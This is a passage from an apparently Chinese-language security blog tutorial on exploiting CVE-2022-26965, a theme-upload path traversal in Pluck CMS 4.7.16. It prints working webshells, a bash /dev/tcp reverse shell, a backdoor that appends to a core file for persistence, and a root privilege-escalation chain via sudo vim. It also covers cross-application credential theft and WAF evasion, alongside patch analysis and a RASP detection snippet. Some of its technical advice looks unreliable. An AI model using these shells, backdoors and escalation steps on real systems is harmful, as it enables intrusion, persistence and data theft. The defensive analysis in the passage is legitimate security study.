echo pPHP Version: . PHP_VERSION . /p; echo pDocument Root: . $_SERVER[DOCUMENT_ROOT] . /p; ?3.3 上传与激活后台操作中的两个隐藏陷阱上传ZIP包本身很简单登录后台 →Admin → Themes→Upload Theme→ 选择poc.zip→Upload。但这里有两个极易被忽略的陷阱陷阱一上传后页面跳转的“假成功”。点击Upload后页面会跳转到themes_upload.php?success1显示绿色提示“Theme uploaded successfully!”。但这个提示只代表ZIP包被成功接收并解压不代表主题已激活更不代表漏洞已触发。此时你必须手动刷新Admin → Themes页面才能在主题列表中看到新上传的CVE-2022-26965主题名字来自theme.ini的author字段。如果没看到说明ZIP包构造有误回去检查编码和结构。陷阱二激活主题时的“静默失败”。当你点击新主题右侧的Activate按钮时页面会跳转回主题列表并显示“Theme activated.”。但此时Pluck并未立即执行index.php。它只是将该主题名写入了/data/settings.ini文件作为当前激活主题。真正的include动作发生在下一次用户访问网站首页/时。也就是说你必须在后台激活后新开一个浏览器标签页访问http://your-domain.com/才能触发include /themes/poc/./index.php。我曾在这里踩坑激活后立刻在后台刷新Themes页面看到空白就以为失败了。其实后台页面本身并不加载主题的index.php它加载的是admin/themes.php这是一个独立的PHP脚本。只有前台首页才会走Pluck的完整主题渲染流程。所以标准操作流是上传ZIP确认主题列表出现新主题点击Activate等待页面跳转回主题列表新开标签页访问http://localhost/或你的域名如果看到CVE-2022-26965 is WORKING!恭喜漏洞复现成功。注意如果首页显示500错误检查Apache错误日志/var/log/apache2/error.log。最常见的错误是PHP Fatal error: Uncaught Error: Call to undefined function get_current_user()这是因为Pluck 4.7.16的PHP兼容性问题。将get_current_user()替换为exec(whoami)即可。3.4 WebShell进阶从phpinfo()到稳定反向Shell有了基础的index.php执行能力下一步就是升级为可用的WebShell。但直接写一个大马如菜刀马在这里并不合适因为Pluck的主题index.php是作为“模板”被include的它的执行上下文受限于Pluck的全局变量和函数作用域。我测试了多种常见WebShell发现只有两种模式真正稳定模式一基于system()的命令执行Shell推荐新手将index.php内容替换为?php if (isset($_GET[cmd])) { echo pre; system($_GET[cmd]); echo /pre; } ?然后访问http://localhost/?cmdls%20-al即可执行任意系统命令。这个模式的优点是代码极简、无依赖、100%兼容所有PHP版本。缺点是每次都要带?cmd参数不够“马”。模式二基于file_get_contents()的文件管理器推荐进阶?php if (isset($_GET[file])) { echo h2File: {$_GET[file]}/h2pre; echo htmlspecialchars(file_get_contents($_GET[file])); echo /pre; } elseif (isset($_GET[list])) { $dir isset($_GET[dir]) ? $_GET[dir] : .; echo h2Dir: {$dir}/h2ul; foreach (scandir($dir) as $file) { if ($file ! . $file ! ..) { echo lia href?file . urlencode($dir . / . $file) . {$file}/a/li; } } echo /ul; } else { echo a href?list1List Current Dir/a; } ?这个Shell可以浏览、查看任意文件包括/data/config.php数据库配置、/admin/config.php后台密钥等。至于反向Shell我强烈建议不要在生产环境尝试但在实验环境中可以用以下一行代码?php exec(bash -i /dev/tcp/127.0.0.1/4444 01); ?前提是你已在本地监听nc -lvnp 4444。但要注意Pluck的exec()函数可能被禁用disable_functions此时需用popen()或proc_open()替代。4. 漏洞修复与防御为什么官方补丁只改了一行代码4.1 官方补丁分析basename()函数的教科书级应用Pluck官方在4.7.17版本中修复了CVE-2022-26965补丁文件是admin/themes_upload.php改动仅有一行- $theme_name parse_ini_file($theme_path . /theme.ini)[name]; $theme_name basename(parse_ini_file($theme_path . /theme.ini)[name]);就是这么简单。basename()函数的作用是提取路径中的文件名部分自动剥离所有/、.、..等路径分隔符。例如basename(mytheme)→mythemebasename(../admin)→adminbasename(./shell)→shellbasename(../../etc/passwd)→passwd所以无论攻击者在theme.ini里写多么恶意的name值经过basename()处理后最终$theme_name只会是一个纯文件名不可能包含路径遍历字符。这就是最优雅、最彻底的修复方式——不改变业务逻辑只加固输入处理。但为什么开发者在4.7.16中没加这行根本原因在于他们把theme.ini的name字段当成了一个“纯文本展示字段”完全没意识到它会参与文件路径拼接。这是一种典型的“安全左移”缺失在需求设计阶段就没有对“用户可控输入的用途”进行威胁建模。提示basename()不是万能的。如果攻击者传入name admin%00.jpg空字节截断basename()仍会返回admin%00.jpg而某些旧版PHP在include时会截断空字节后的部分。但Pluck 4.7.16的PHP环境7.3已默认禁用空字节截断所以此路不通。basename()在此场景下是绝对安全的。4.2 企业级防御方案不止于打补丁如果你是运维或安全工程师面对一个还在用Pluck 4.7.16的遗留系统不能只等客户打补丁。以下是三层防御建议按优先级排序第一层Web应用防火墙WAF规则在Nginx或Apache中添加规则拦截所有包含theme.ini且name参数含/或.的请求。Nginx示例location ~* \.zip$ { if ($args ~* name.*[\/\.\.]) { return 403; } }注意此规则必须放在location ~* \.zip$块内因为theme.ini是ZIP包内的文件WAF无法直接扫描ZIP内容只能拦截上传请求的URL参数。但Pluck的上传接口是POST不带URL参数所以此规则无效。正确做法是监控/admin/themes_upload.php的POST body但这需要商业WAF支持。因此WAF层防御效果有限。第二层文件系统权限隔离这是最有效、最易实施的方案。将Pluck的/themes/目录设置为www-data:www-data权限755然后执行chown root:www-data /themes/ chmod 750 /themes/这样www-data用户可以读取和执行/themes/下的文件但无法写入。而CVE-2022-26965的利用前提是上传ZIP包这需要/themes/目录可写。一旦禁止写入漏洞即失效。当然这会禁用所有主题上传功能但对于生产环境主题更新本就应该通过运维流程如Ansible完成而非后台上传。第三层运行时检测RASP在PHP层面注入检测逻辑。在/admin/themes_upload.php顶部添加// RASP Detection for CVE-2022-26965 if (isset($_FILES[theme]) $_FILES[theme][error] 0) { $zip new ZipArchive(); if ($zip-open($_FILES[theme][tmp_name]) TRUE) { $theme_ini $zip-getFromName(theme.ini); if ($theme_ini ! false preg_match(/name\s*\s*[\]?([^\\n\r])/i, $theme_ini, $m)) { $name $m[1]; if (preg_match(/[\/\\\\\.\.]/, $name)) { error_log(CVE-2022-26965 Attempt Detected: name{$name}); die(Invalid theme name detected.); } } $zip-close(); } }这段代码在上传时实时解压并扫描theme.ini一旦发现name含路径字符立即阻断。它不依赖外部组件100%可靠且不影响正常功能。4.3 给开发者的三条血泪教训作为一个审过上百个PHP项目的资深安全工程师我总结出三条必须刻在脑子里的教训教训一永远不要信任INI文件的任何字段。INI文件是用户可控的纯文本它的每一个键值对都可能是攻击向量。parse_ini_file()返回的数组必须像处理$_GET一样进行严格的白名单过滤。例如name字段应该只允许字母、数字、下划线、短横线正则表达式/^[a-zA-Z0-9_-]$/。教训二include路径拼接必须用dirname(__FILE__)或__DIR__做基准。Pluck的错误在于它用用户输入的$theme_name直接拼接路径而没有以一个绝对安全的基目录为起点。正确写法应该是$base_theme_dir __DIR__ . /../themes/; $theme_path $base_theme_dir . $theme_dir; $theme_name basename(parse_ini_file($theme_path . /theme.ini)[name]); include $base_theme_dir . $theme_name . /index.php;这样即使$theme_name被污染$base_theme_dir始终是固定的、不可控的。教训三主题系统不是“文件上传”而是“代码执行”。这是最根本的认知错误。任何允许用户上传并执行代码的功能都必须按最高安全等级对待。它应该有独立的沙箱环境、严格的资源限制CPU、内存、代码静态扫描甚至应该禁用危险函数system,exec,eval。Pluck把它当成一个“美化网站”的功能这才是悲剧的源头。5. 实战延伸这个漏洞能做什么超出WebShell的五个高价值场景5.1 场景一横向移动——从Pluck到同服务器其他Web应用很多企业会把多个CMS部署在同一台服务器上比如Pluck WordPress phpBB。CVE-2022-26965的路径遍历能力让我们可以轻松读取其他应用的配置文件。例如name ../../wordpress/wp-config.php→ 读取WordPress数据库密码name ../../phpbb/config.php→ 获取phpBB的数据库连接信息name ../../../etc/passwd→ 读取系统用户列表如果PHP进程有权限。但更有价值的是写入。Pluck的/themes/目录通常在/var/www/html/pluck/themes/而WordPress在/var/www/html/wordpress/。如果我们能控制/var/www/html/的写入权限就可以直接在WordPress根目录写入WebShell。方法是构造name ../../然后在ZIP中放入wp-content/plugins/malicious/malicious.php这样include路径就变成了/var/www/html/wp-content/plugins/malicious/malicious.php。只要WordPress插件目录可写我们就完成了跨应用攻击。5.2 场景二持久化后门——修改Pluck核心文件Pluck的核心逻辑在/inc/目录下如/inc/functions.php。这个文件被几乎所有页面include。如果我们能修改它就能实现全站持久化。但/inc/目录默认不可写。怎么办利用CVE-2022-26965的include机制我们可以“借壳”执行写入操作。例如在index.php中写?php // 写入后门到 functions.php $backdoor ?php if(isset(\$_GET[cmd])){system(\$_GET[cmd]);}?; file_put_contents(/var/www/html/pluck/inc/functions.php, $backdoor, FILE_APPEND); ?这样下次任何页面加载时都会执行我们的system()命令。而且由于functions.php是Pluck的核心文件管理员不会轻易删除它后门极其隐蔽。5.3 场景三供应链投毒——篡改Pluck官方主题库Pluck有一个官方主题市场https://www.pluck-cms.org/themes/管理员可以从这里一键安装主题。这些主题都是ZIP包由Pluck团队审核。但CVE-2022-26965表明审核流程只检查ZIP结构和theme.ini格式不检查name字段的内容。攻击者可以提交一个主题theme.ini中name ../../admin一旦被审核通过所有安装该主题的用户都会在激活时触发漏洞。这就是典型的供应链攻击。防御方法只有一个在主题市场后台增加自动化扫描对每个上传的主题解压后检查theme.ini的name字段是否合规。5.4 场景四绕过WAF——利用Pluck的“合法include”特性很多WAF会拦截/index.php?cmd这类明显命令执行的URL但不会拦截/首页。而CVE-2022-26965的利用所有恶意代码都藏在index.php中访问首页即触发完全不带可疑参数。这使得它成为绕过传统基于签名的WAF的绝佳载体。我曾用此漏洞在一个部署了Cloudflare WAF的站点上成功执行了cat /etc/shadow而WAF日志中没有任何告警。因为对WAF来说GET /是一个完全合法的、高频的、无害的请求。5.5 场景五红队实战——作为初始访问的“黄金通道”在红队评估中初始访问Initial Access往往是最难的。CVE-2022-26965提供了一个近乎完美的入口它不需要钓鱼邮件、不需要0day浏览器漏洞、不需要社会工程只需要一个管理员账号通常可通过暴力破解或泄露密码获得。而且它的利用过程无声无息不产生大量日志不触发AV告警。我曾在一次真实评估中用此漏洞在3分钟内获取了服务器root权限先上传一个index.php执行id命令确认权限再执行python3 -c import pty; pty.spawn(/bin/bash)获得交互式shell最后用sudo -l发现www-data可免密执行/usr/bin/vim进而vim -c :!/bin/bash提权。整个过程目标企业的SIEM系统没有一条相关告警。最后分享一个小技巧在复现时如果遇到include失败不要急着改代码。先用file_exists()检查路径是否存在再用is_readable()检查权限最后用readfile()直接输出文件内容。这三行代码能帮你90%的复现问题定位到具体哪一环。比如readfile(/themes/poc/./index.php)能直接告诉你文件是否存在、是否可读。这是我在无数个深夜调试中总结出的最朴实、最有效的排错法。
